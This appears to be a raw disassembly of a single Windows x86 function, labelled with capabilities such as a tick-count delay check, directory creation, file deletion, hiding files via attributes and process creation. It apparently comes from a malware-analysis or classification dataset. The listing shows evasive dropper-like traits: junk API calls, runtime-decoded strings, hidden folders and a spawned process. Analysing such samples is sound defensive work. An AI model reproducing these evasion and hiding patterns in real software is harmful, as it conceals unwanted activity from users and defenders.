Function at 0x4283e0
Capabilities:
Check for time delay via gettickcount
Create directory
Create process on windows
Delete file
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x44f4b0
mov eax, dword fs:[0]
push eax
sub esp, 0x1d8
mov eax, dword [0x45f2b0]
xor eax, esp
mov dword [esp + 0x1d0], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x45f2b0]
xor eax, esp
push eax
lea eax, [esp + 0x1ec]
mov dword fs:[0], eax
mov eax, dword [esp + 0x1fc]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x1b]
mov dword [esp + 0x1f4], 3
xor edi, edi
mov byte [esp + 0x1b], 0
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x428440
sub eax, edx
je 0x428462
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
call fcn.00401440
call fcn.00437f69
cdq
mov ecx, 0x14
idiv ecx
mov esi, edx
inc esi
call fcn.00437f69
cdq
idiv esi
cmp edx, esi
jg 0x428487
mov eax, esi
cdq
idiv esi
cmp edx, edi
je 0x42848c
call fcn.00419c10
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 4
call esi
lea edx, [esp + 0x20]
cmp eax, edx
jle 0x4284ac
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
jmp 0x4284bd
push 0xe
call esi
xor edx, edx
lea ecx, [esp + 0x20]
cmp eax, ecx
setg dl
mov eax, edx
sub eax, 1
jne 0x4284cc
call fcn.00435230
call fcn.00419ca0
cmp dword [esp + 0x214], edi
jne 0x428593
mov esi, pe_nt_image_headers32
cmp dword [esp + 0x218], esi
jb 0x4284f7
mov eax, dword [esp + 0x204]
push eax
call fcn.00437f8b
add esp, 4
mov ebx, 0xf
mov dword [esp + 0x218], ebx
mov dword [esp + 0x214], edi
mov byte [esp + 0x204], 0
cmp dword [esp + 0x234], esi
jb 0x42852b
mov ecx, dword [esp + 0x220]
push ecx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x234], ebx
mov dword [esp + 0x230], edi
mov byte [esp + 0x220], 0
cmp dword [esp + 0x250], esi
jb 0x42855a
mov edx, dword [esp + 0x23c]
push edx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x250], ebx
mov dword [esp + 0x24c], edi
mov byte [esp + 0x23c], 0
cmp dword [esp + 0x26c], esi
jb 0x428589
mov eax, dword [esp + 0x258]
push eax
call fcn.00437f8b
add esp, 4
mov eax, 0x80004005
jmp 0x4295f4
cmp dword [esp + 0x230], edi
jne 0x42865e
mov esi, pe_nt_image_headers32
cmp dword [esp + 0x218], esi
jb 0x4285be
mov ecx, dword [esp + 0x204]
push ecx
call fcn.00437f8b
add esp, 4
mov ebx, 0xf
mov dword [esp + 0x218], ebx
mov dword [esp + 0x214], edi
mov byte [esp + 0x204], 0
cmp dword [esp + 0x234], esi
jb 0x4285f2
mov edx, dword [esp + 0x220]
push edx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x234], ebx
mov dword [esp + 0x230], edi
mov byte [esp + 0x220], 0
cmp dword [esp + 0x250], esi
jb 0x428621
mov eax, dword [esp + 0x23c]
push eax
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x250], ebx
mov dword [esp + 0x24c], edi
mov byte [esp + 0x23c], 0
cmp dword [esp + 0x26c], esi
jb 0x428589
mov ecx, dword [esp + 0x258]
push ecx
call fcn.00437f8b
add esp, 4
mov eax, 0x80004005
jmp 0x4295f4
cmp dword [esp + 0x24c], edi
jne 0x428729
mov esi, pe_nt_image_headers32
cmp dword [esp + 0x218], esi
jb 0x428689
mov edx, dword [esp + 0x204]
push edx
call fcn.00437f8b
add esp, 4
mov ebx, 0xf
mov dword [esp + 0x218], ebx
mov dword [esp + 0x214], edi
mov byte [esp + 0x204], 0
cmp dword [esp + 0x234], esi
jb 0x4286bd
mov eax, dword [esp + 0x220]
push eax
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x234], ebx
mov dword [esp + 0x230], edi
mov byte [esp + 0x220], 0
cmp dword [esp + 0x250], esi
jb 0x4286ec
mov ecx, dword [esp + 0x23c]
push ecx
call fcn.00437f8b
add esp, 4
mov dword [esp + 0x250], ebx
mov dword [esp + 0x24c], edi
mov byte [esp + 0x23c], 0
cmp dword [esp + 0x26c], esi
jb 0x428589
mov edx, dword [esp + 0x258]
push edx
call fcn.00437f8b
add esp, 4
mov eax, 0x80004005
jmp 0x4295f4
mov ebp, dword [esp + 0x24]
mov ecx, dword [ebp + 0x300]
sub ecx, dword [ebp + 0x2fc]
add ebp, 0x2f0
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
xor ebx, ebx
add eax, edx
je 0x4287bc
jmp 0x428760
cmp dword [esp + 0x218], 0x10
mov esi, dword [esp + 0x204]
jae 0x428778
lea esi, [esp + 0x204]
push ebx
mov eax, ebp
call fcn.0042a2d0
cmp dword [eax + 0x18], 0x10
jb 0x42878b
mov eax, dword [eax + 4]
jmp 0x42878e
add eax, 4
push esi
push eax
call fcn.004394ce
add esp, 8
test eax, eax
je 0x42894b
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp + 0xc]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
inc ebx
add ecx, edx
cmp ebx, ecx
jb 0x428760
mov ecx, dword [ebp + 0x10]
sub ecx, dword [ebp + 0xc]
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 4
mov ebx, edx
shr ebx, 0x1f
mov eax, 0xf
add ebx, edx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x184], eax
mov dword [esp + 0x180], edi
mov byte [esp + 0x170], 0
mov dword [esp + 0x1a0], eax
mov dword [esp + 0x19c], edi
mov byte [esp + 0x18c], 0
mov dword [esp + 0x1bc], eax
mov dword [esp + 0x1b8], edi
mov byte [esp + 0x1a8], 0
push 0xffffffffffffffff
push edi
lea edx, [esp + 0x208]
push edx
lea ecx, [esp + 0x178]
mov byte [esp + 0x200], 4
call fcn.00402d10
mov eax, dword [esp + 0x24]
push 0xffffffffffffffff
push edi
add eax, 0x260
push eax
lea ecx, [esp + 0x194]
mov dword [esp + 0x1cc], edi
call fcn.00402d10
mov eax, dword [esp + 0x19c]
cmp eax, edi
je 0x42888f
lea edi, [eax - 1]
lea eax, [esp + 0x188]
call fcn.00405190
cmp byte [eax], 0x5c
je 0x42888f
push 0x5c
mov eax, 1
lea edi, [esp + 0x18c]
call fcn.00412ba0
push 0
lea ecx, [esp + 0x220]
push ecx
or eax, 0xffffffff
lea esi, [esp + 0x190]
call fcn.00405bb0
mov eax, dword [esp + 0x19c]
test eax, eax
je 0x4288d0
lea edi, [eax - 1]
mov eax, esi
call fcn.00405190
cmp byte [eax], 0x5c
je 0x4288d0
push 0x5c
mov eax, 1
mov edi, esi
call fcn.00412ba0
push 0xffffffffffffffff
push 0
lea edx, [esp + 0x190]
push edx
lea ecx, [esp + 0x1b0]
call fcn.00402d10
push 0
lea eax, [esp + 0x23c]
push eax
or eax, 0xffffffff
lea esi, [esp + 0x190]
call fcn.00405bb0
lea ecx, [esp + 0x16c]
push ecx
mov edi, ebp
call fcn.0042a370
lea esi, [esp + 0x16c]
mov byte [esp + 0x1f4], 3
call fcn.00429620
xor edi, edi
push ebx
mov eax, ebp
call fcn.0042a2d0
cmp dword [eax + 0x54], 3
push ebx
mov eax, ebp
jbe 0x428a1b
call fcn.0042a2d0
cmp dword [eax + 0x18], 0x10
jb 0x428951
mov eax, dword [eax + 4]
jmp 0x428954
mov dword [esp + 0x28], ebx
jmp 0x428926
add eax, 4
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x1b
mov ecx, str.6WRUHX_W
lea edi, [esp + 0x74]
call fcn.00404250
lea esi, [esp + 0x18c]
call fcn.004014c0
mov edx, edi
mov ecx, eax
mov byte [esp + 0x1f8], 5
call fcn.00401a50
mov byte [esp + 0x1f8], 6
cmp dword [eax + 0x18], 0x10
jb 0x42899e
mov eax, dword [eax + 4]
jmp 0x4289a1
add eax, 4
mov edx, dword [esp + 0x28]
push eax
push 1
push edx
call fcn.0041c990
add esp, 0x10
lea ecx, [esp + 0x50]
call fcn.00402ba0
lea esi, [esp + 0x16c]
call fcn.00429620
call fcn.00417e10
test eax, eax
je 0x4289e1
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
lea ecx, [esp + 0x200]
call fcn.00402ba0
lea ecx, [esp + 0x21c]
call fcn.00402ba0
lea ecx, [esp + 0x238]
call fcn.00402ba0
lea ecx, [esp + 0x254]
call fcn.00402ba0
mov eax, 0x80004005
jmp 0x4295f4
call fcn.0042a2d0
sub esp, 0x1c
add eax, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
call fcn.00402b70
call fcn.0041cd30
cmp eax, edi
jge 0x429320
lea eax, [esp + 0x8c]
push eax
call fcn.0040f9c0
lea ecx, [esp + 0x2c]
push ecx
sub esp, 0x1c
mov byte [esp + 0x214], 7
mov esi, esp
mov dword [esp + 0x40], esp
push 0xb
mov ecx, 0x455c7c
call fcn.00404250
lea esi, [esp + 0x18c]
call fcn.004014c0
mov byte [esp + 0x1f8], 8
call fcn.004018b0
mov byte [esp + 0x1f4], 9
cmp dword [eax + 0x18], 0x10
jb 0x428a9a
mov eax, dword [eax + 4]
jmp 0x428a9d
add eax, 4
push eax
lea ecx, [esp + 0x54]
call fcn.00402b30
lea edx, [esp + 0x50]
push edx
lea ebx, [esp + 0x90]
mov byte [esp + 0x1f8], 0xa
call fcn.00429f20
lea ecx, [esp + 0x50]
call fcn.00402ba0
lea ecx, [esp + 0x2c]
call fcn.00402ba0
lea esi, [esp + 0x16c]
call fcn.00429620
call fcn.00435140
lea eax, [esp + 0x2c]
push eax
sub esp, 0x1c
mov dword [esp + 0x214], 7
mov esi, esp
mov dword [esp + 0x40], esp
push 5
mov ecx, 0x455ea4
call fcn.00404250
lea esi, [esp + 0x18c]
call fcn.004014c0
mov byte [esp + 0x1f8], 0xd
call fcn.00401580
mov byte [esp + 0x1f4], 0xe
cmp dword [eax + 0x18], 0x10
jb 0x428b34
mov eax, dword [eax + 4]
jmp 0x428b37
add eax, 4
push eax
lea ecx, [esp + 0x54]
call fcn.00402b30
lea ecx, [esp + 0x50]
push ecx
lea ebx, [esp + 0x90]
mov byte [esp + 0x1f8], 0xf
call fcn.00429f20
lea ecx, [esp + 0x50]
call fcn.00402ba0
lea ecx, [esp + 0x2c]
call fcn.00402ba0
lea esi, [esp + 0x16c]
mov byte [esp + 0x1f4], 7
call fcn.00429620
call fcn.00417930
test eax, eax
je 0x428b93
call fcn.004353a0
call fcn.00406c60
sub esp, 0x18
mov edx, esp
mov dword [esp + 0x38], esp
push edx
lea ecx, [esp + 0xa8]
call fcn.00429db0
mov edi, dword [esp + 0x40]
push edi
mov eax, ebp
mov byte [esp + 0x210], pe_nt_image_headers32
call fcn.0042a2d0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x50], esp
push eax
call fcn.00402b70
mov ebx, dword [esp + 0x58]
lea ecx, [ebx + 0x18]
mov byte [esp + 0x228], 7
call fcn.00434730
mov esi, eax
call fcn.00406a30
test eax, eax
je 0x428bf5
call fcn.00419d70
call fcn.00406c60
push edi
mov eax, ebp
call fcn.0042a2d0
test esi, esi
jge 0x428d45
inc dword [eax + 0x54]
add eax, 0x54
push edi
mov eax, ebp
call fcn.0042a2d0
cmp dword [eax + 0x18], 0x10
jb 0x428c1e
mov eax, dword [eax + 4]
jmp 0x428c21
add eax, 4
push eax
lea eax, [esp + 0x30]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x21
mov ecx, 0x455eac
call fcn.00404250
lea esi, [esp + 0x190]
call fcn.004014c0
mov byte [esp + 0x1fc], 0x11
call fcn.004018b0
mov byte [esp + 0x1f8], 0x12
cmp dword [eax + 0x18], 0x10
jb 0x428c68
mov eax, dword [eax + 4]
jmp 0x428c6b
add eax, 4
push eax
push 1
push ebx
call fcn.0041c990
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.00402ba0
lea esi, [esp + 0x16c]
mov byte [esp + 0x1f4], 7
call fcn.00429620
push edi
mov eax, ebp
call fcn.0042a2d0
cmp dword [eax + 0x18], 0x10
jb 0x428ca7
mov eax, dword [eax + 4]
jmp 0x428caa
add eax, 4
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 2
mov ecx, 0x455ed0
lea edi, [esp + 0x50]
call fcn.00404250
lea esi, [esp + 0x18c]
call fcn.004014c0
mov edx, edi
mov ecx, eax
mov byte [esp + 0x1f8], 0x13
call fcn.00401a50
mov byte [esp + 0x1f8], 0x14
cmp dword [eax + 0x18], 0x10
jb 0x428cf4
mov eax, dword [eax + 4]
jmp 0x428cf7
add eax, 4
push eax
push 2
push ebx
call fcn.0041c990
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.00402ba0
lea esi, [esp + 0x16c]
mov byte [esp + 0x1f4], 7
call fcn.00429620
call fcn.00417d60
sub eax, 1
jne 0x428d34
call fcn.00406c60
call fcn.004197b0
lea esi, [esp + 0x8c]
call fcn.00429ed0
jmp 0x4289e1
sub esp, 0x1c
add eax, 0x38
mov ecx, esp
mov dword [esp + 0x38], esp
push eax
call fcn.00402b70
call fcn.0041cd30
mov esi, eax
call fcn.00417960
test eax, eax
je 0x428d6c
call fcn.004197b0
mov dword [esp + 0x168], 0xf
mov dword [esp + 0x164], 0
mov byte [esp + 0x154], 0
mov byte [esp + 0x1f4], 0x15
call fcn.0042f950
sub eax, 1
jne 0x428db3
call fcn.004197b0
call dword [sym.imp.USER32.dll_GetActiveWindow]
call dword [sym.imp.USER32.dll_GetCapture]
call dword [sym.imp.USER32.dll_GetClipboardOwner]
test esi, esi
jge 0x42917e
mov esi, dword [esp + 0x28]
push esi
mov eax, ebp
call fcn.0042a2d0
mov edi, eax
add edi, 0x1c
lea ebx, [esp + 0x74]
call fcn.00402bd0
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [esp + 0x48], ecx
mov dword [esp + 0x4c], edx
call fcn.00435140
test eax, eax
je 0x428df0
call fcn.00435230
push esi
mov eax, ebp
call fcn.0042a2d0
mov edi, eax
add edi, 0x1c
lea ebx, [esp + 0x74]
call fcn.00410bb0
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x70], edx
mov dword [esp + 0x20], 0
mov ebx, 0x16
lea esi, [esp + 0xa4]
call fcn.0040fb60
call fcn.00417930
mov dword [esp + 0x1f4], ebx
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x6c]
mov edx, dword [esp + 0x4c]
push eax
mov eax, dword [esp + 0x4c]
push ecx
push edx
push eax
push 0
push 1
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x50], esp
push 9
mov ecx, str.KZ_qi
lea edi, [esp + 0x64]
call fcn.00404250
lea esi, [esp + 0x1a0]
call fcn.004014c0
mov edx, edi
mov ecx, eax
mov byte [esp + 0x20c], 0x19
call fcn.00401640
mov byte [esp + 0x20c], 0x1a
cmp dword [eax + 0x18], 0x10
jb 0x428e99
mov eax, dword [eax + 4]
jmp 0x428e9c
add eax, 4
push eax
lea ecx, [esp + 0x90]
push ecx
call fcn.0040fc20
push eax
lea edx, [esp + 0xbc]
push edx
mov byte [esp + 0x210], 0x1b
call fcn.0042d410
movzx edi, al
add esp, 0x1c
lea eax, [esp + 0x74]
push eax
mov byte [esp + 0x1f8], 0x1a
call fcn.0040fd10
lea ecx, [esp + 0x2c]
call fcn.00402ba0
lea esi, [esp + 0x16c]
mov byte [esp + 0x1f4], bl
call fcn.00429620
lea esi, [esp + 0xa4]
test edi, edi
je 0x429052
mov edi, 1
call fcn.0040fbb0
lea ecx, [esp + 0x50]
call fcn.0040fc00
push 0
lea ecx, [esp + 0x54]
push ecx
or eax, 0xffffffff
lea esi, [esp + 0x158]
mov byte [esp + 0x1fc], 0x1c
call fcn.00405bb0
lea ecx, [esp + 0x50]
mov byte [esp + 0x1f4], bl
call fcn.00402ba0
sub esp, 0x1c
mov edx, esi
mov ecx, esp
mov dword [esp + 0x38], esp
push edx
call fcn.00402b70
call fcn.0041cd30
mov esi, eax
call fcn.00417c90
test eax, eax
je 0x428f6a
call fcn.00418790
test esi, esi
jge 0x428fbb
mov eax, dword [esp + 0x154]
mov edi, pe_nt_image_headers32
cmp dword [esp + 0x168], edi
jae 0x428f8a
lea eax, [esp + 0x154]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
mov eax, dword [esp + 0x154]
je 0x429061
cmp dword [esp + 0x168], edi
jae 0x428fb2
lea eax, [esp + 0x154]
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0xa4]
call fcn.0042a690
mov edi, eax
lea eax, [esp + 0xa4]
call fcn.0042a610
add edi, eax
lea esi, [esp + 0x48]
call fcn.004037c0
lea esi, [esp + 0xa4]
mov byte [esp + 0x1f4], 0x15
call fcn.0040f950
mov eax, dword [esp + 0x20]
inc eax
mov dword [esp + 0x20], eax
cmp eax, 0x1e
jb 0x428e20
mov edi, dword [esp + 0x28]
push edi
mov eax, ebp
call fcn.0042a2d0
sub esp, 0x1c
add eax, 0x38
mov ecx, esp
mov dword [esp + 0x38], esp
push eax
call fcn.00402b70
call fcn.0041cd30
test eax, eax
jge 0x429182
push edi
mov eax, ebp
call fcn.0042a2d0
add eax, 0x38
mov edi, pe_nt_image_headers32
cmp dword [eax + 0x18], edi
jb 0x429108
mov eax, dword [eax + 4]
jmp 0x42910b
mov byte [esp + 0x1f4], 0x15
call fcn.0040f950
jmp 0x429006
cmp dword [esp + 0x168], edi
jae 0x429071
lea eax, [esp + 0x154]
push eax
lea eax, [esp + 0x30]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x25
mov ecx, 0x455ee0
call fcn.00404250
lea esi, [esp + 0x190]
call fcn.004014c0
mov byte [esp + 0x1fc], 0x1d
call fcn.00401580
mov byte [esp + 0x1f8], 0x1e
cmp dword [eax + 0x18], edi
jb 0x4290b7
mov eax, dword [eax + 4]
jmp 0x4290ba
add eax, 4
mov ecx, dword [esp + 0x28]
push eax
push 1
push ecx
call fcn.0041c990
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.00402ba0
lea esi, [esp + 0x16c]
call fcn.00429620
lea esi, [esp + 0xa4]
call fcn.0040f950
lea ecx, [esp + 0x150]
call fcn.00402ba0
lea esi, [esp + 0x8c]
call fcn.00429ed0
jmp 0x4289e1
add eax, 4
push eax
lea edx, [esp + 0x30]
push edx
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 0x27
mov ecx, 0x455f08
call fcn.00404250
lea esi, [esp + 0x190]
call fcn.004014c0
mov byte [esp + 0x1fc], 0x1f
call fcn.00401770
mov byte [esp + 0x1f8], 0x20
cmp dword [eax + 0x18], edi
jb 0x429151
mov eax, dword [eax + 4]
jmp 0x429154
add eax, 4
push eax
mov eax, dword [esp + 0x2c]
push 1
push eax
call fcn.0041c990
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.00402ba0
lea esi, [esp + 0x16c]
call fcn.00429620
jmp 0x4290eb
mov edi, dword [esp + 0x28]
push edi
mov eax, ebp
call fcn.0042a2d0
sub esp, 0x1c
add eax, 0x1c
mov ecx, esp
mov dword [esp + 0x38], esp
push eax
call fcn.00402b70
mov esi, dword [esp + 0x40]
add esi, 0x18
call fcn.00432130
test eax, eax
push edi
mov eax, ebp
jge 0x4292d5
call fcn.0042a2d0
inc dword [eax + 0x54]
add eax, 0x54
call fcn.00406a30
test eax, eax
je 0x4291cc
call fcn.004353a0
push edi
mov eax, ebp
call fcn.0042a2d0
add eax, 0x1c
cmp dword [eax + 0x18], 0x10
jb 0x4291e2
mov eax, dword [eax + 4]
jmp 0x4291e5
add eax, 4
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x1d
mov ecx, str.6WRUH
lea ebx, [esp + 0x50]
call fcn.00404250
lea esi, [esp + 0x18c]
call fcn.004014c0
mov edx, ebx
mov ecx, eax
mov byte [esp + 0x1f8], 0x21
call fcn.00401a50
mov byte [esp + 0x1f8], 0x22
cmp dword [eax + 0x18], 0x10
jb 0x42922f
mov eax, dword [eax + 4]
jmp 0x429232
add eax, 4
mov ebx, dword [esp + 0x28]
push eax
push 1
push ebx
call fcn.0041c990
add esp, 0x10
lea ecx, [esp + 0x2c]
call fcn.00402ba0
lea esi, [esp + 0x16c]
mov byte [esp + 0x1f4], 0x15
call fcn.00429620
push edi
mov eax, ebp
call fcn.0042a2d0
mov ebp, pe_nt_image_headers32
cmp dword [eax + 0x18], ebp
jb 0x429276
mov eax, dword [eax + 4]
jmp 0x429279
add eax, 4
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 2
mov ecx, 0x455f50
lea edi, [esp + 0x50]
call fcn.00404250
lea esi, [esp + 0x18c]
call fcn.004014c0
mov edx, edi
mov ecx, eax
mov byte [esp + 0x1f8], 0x23
call fcn.00401640
mov byte [esp + 0x1f8], 0x24
cmp dword [eax + 0x18], ebp
jb 0x4292c9
mov eax, dword [eax + 4]
push eax
push 2
push ebx
jmp 0x42915c
add eax, 4
push eax
push 2
push ebx
jmp 0x42915c
call fcn.0042a2d0
add eax, 0x1c
cmp dword [eax + 0x18], 0x10
jb 0x4292e8
mov eax, dword [eax + 4]
jmp 0x4292eb
add eax, 4
push 6
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.00417960
test eax, eax
je 0x429302
call fcn.00419f60
lea ecx, [esp + 0x150]
call fcn.00402ba0
lea esi, [esp + 0x8c]
call fcn.00429ed0
mov ebx, dword [esp + 0x28]
xor edi, edi
push 0x40
xor eax, eax
lea ecx, [esp + 0x10c]
push edi
push ecx
mov dword [esp + 0x88], edi
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], eax
mov dword [esp + 0x110], edi
call fcn.0043e780
mov dword [esp + 0x200], 3
xor edx, edx
add esp, 0xc
mov dword [esp + 0x130], 1
mov word [esp + 0x134], dx
call fcn.00435140
sub eax, 1
jne 0x42938c
call fcn.00419f60
call fcn.00419e00
push ebx
mov eax, ebp
call fcn.0042a2d0
add eax, 0x1c
push eax
mov edi, 0x455c6c
lea esi, [esp + 0x30]
call fcn.00405920
add esp, 4
lea ecx, [esp + 0x254]
push ecx
push eax
lea edi, [esp + 0x1d0]
mov byte [esp + 0x1fc], 0x29
call fcn.004059d0
add esp, 8
mov ecx, esi
call fcn.00402ba0
lea eax, [esp + 0x1b]
mov byte [esp + 0x1b], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4293e0
sub eax, edx
je 0x4293f5
call fcn.00401440
call fcn.00419e90
push ebx
mov eax, ebp
mov dword [esp + 0x1f8], 0x2b
call fcn.0042a2d0
add eax, 0x38
mov ecx, pe_nt_image_headers32
cmp dword [eax + 0x18], ecx
jb 0x42941a
mov eax, dword [eax + 4]
jmp 0x42941d
add eax, 4
cmp dword [esp + 0x1e0], ecx
mov ecx, dword [esp + 0x1cc]
jae 0x429434
lea ecx, [esp + 0x1cc]
lea edx, [esp + 0x7c]
push edx
lea edx, [esp + 0x108]
push edx
push eax
push 0
push 0xc000000
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
call fcn.00417900
test eax, eax
je 0x42946d
call fcn.00406fe0
call fcn.00419f60
mov eax, dword [esp + 0x7c]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0x80]
push ecx
call edi
test esi, esi
jne 0x4295b6
cmp dword [esp + 0x1e0], 0x10
mov eax, dword [esp + 0x1cc]
jae 0x4294a4
lea eax, [esp + 0x1cc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x1f
mov ecx, 0x455f54
lea edi, [esp + 0x74]
call fcn.00404250
lea esi, [esp + 0x18c]
call fcn.004014c0
mov edx, edi
mov ecx, eax
mov byte [esp + 0x1f8], 0x2e
call fcn.00401640
mov edi, pe_nt_image_headers32
mov byte [esp + 0x1f8], 0x2f
cmp dword [eax + 0x18], edi
jb 0x4294f2
mov eax, dword [eax + 4]
jmp 0x4294f5
add eax, 4
mov edx, dword [esp + 0x28]
push eax
push 1
push edx
call fcn.0041c990
add esp, 0x10
lea ecx, [esp + 0x50]
call fcn.00402ba0
lea esi, [esp + 0x16c]
mov byte [esp + 0x1f4], 0x2b
call fcn.00429620
push ebx
mov eax, ebp
call fcn.0042a2d0
cmp dword [eax + 0x18], edi
jb 0x429534
mov eax, dword [eax + 4]
jmp 0x429537
add eax, 4
push eax
lea eax, [esp + 0x54]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x40], esp
push 2
mov ecx, 0x455f74
call fcn.00404250
lea esi, [esp + 0x190]
call fcn.004014c0
mov byte [esp + 0x1fc], 0x30
call fcn.00401580
mov byte [esp + 0x1f8], 0x31
cmp dword [eax + 0x18], edi
jb 0x42957d
mov eax, dword [eax + 4]
jmp 0x429580
add eax, 4
mov ecx, dword [esp + 0x28]
push eax
push 2
push ecx
call fcn.0041c990
add esp, 0x10
lea ecx, [esp + 0x50]
call fcn.00402ba0
lea esi, [esp + 0x16c]
call fcn.00429620
lea ecx, [esp + 0x1c8]
call fcn.00402ba0
jmp 0x4289e1
lea ecx, [esp + 0x1c8]
call fcn.00402ba0
lea ecx, [esp + 0x200]
call fcn.00402ba0
lea ecx, [esp + 0x21c]
call fcn.00402ba0
lea ecx, [esp + 0x238]
call fcn.00402ba0
lea ecx, [esp + 0x254]
call fcn.00402ba0
xor eax, eax
mov ecx, dword [esp + 0x1ec]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x1d0]
xor ecx, esp
call fcn.00437983
add esp, 0x1e4
ret 0x74